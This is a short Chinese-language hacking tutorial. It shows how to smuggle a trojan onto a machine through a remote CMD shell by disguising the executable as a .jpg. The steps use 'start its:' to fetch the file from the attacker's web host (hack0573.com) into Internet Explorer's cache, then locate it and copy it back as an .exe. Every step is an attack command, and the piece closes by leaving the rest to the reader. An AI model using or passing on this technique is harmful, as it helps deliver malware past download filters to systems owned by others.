一、首先我们把要上传的文件或木马的exe后缀名改成jpg或gif等可以上传到网站空间上的文件类型,然后上传至网站空间。

二、打个比方上传后的地址为:http://www.hack0573.com/hqw.jpg。我们就在CMD Shell下输入:
start its:http://www.hack0573.com/hqw.jpg。
这样会把hqw.jpg下载到IE的临时文件夹中。这些下载的临时文件的命名有一个特点,就是会保存成hqw[1].jpg。如果有其它同名的情况,还可能会保存为hqw[2].jpg一类的。如果是exe文件就会提示下载,这样没有达到我们的目的。

三、我们用dir /s hqw[1].jpg这个命令来搜索具体的目录。搜索出来的路径为:
C:\Documents and Settings\hqw20\Local Settings\Temporary Internet Files\Content
.IE5\89OVGV07

四、然后用退出到C盘根目录,用命令
copy “C:\Documents and Settings\hqw20\Local Settings\Temporary Internet Files\Content
.IE5\89OVGV07\hqw[1].jpg” hqw.exe
就可以将我hqw[1].jpg还原成hqw.exe,此时hqw.exe处于C盘根目录。

接下来要怎么做就看你自己发挥了。怎么样,很巧妙吧?!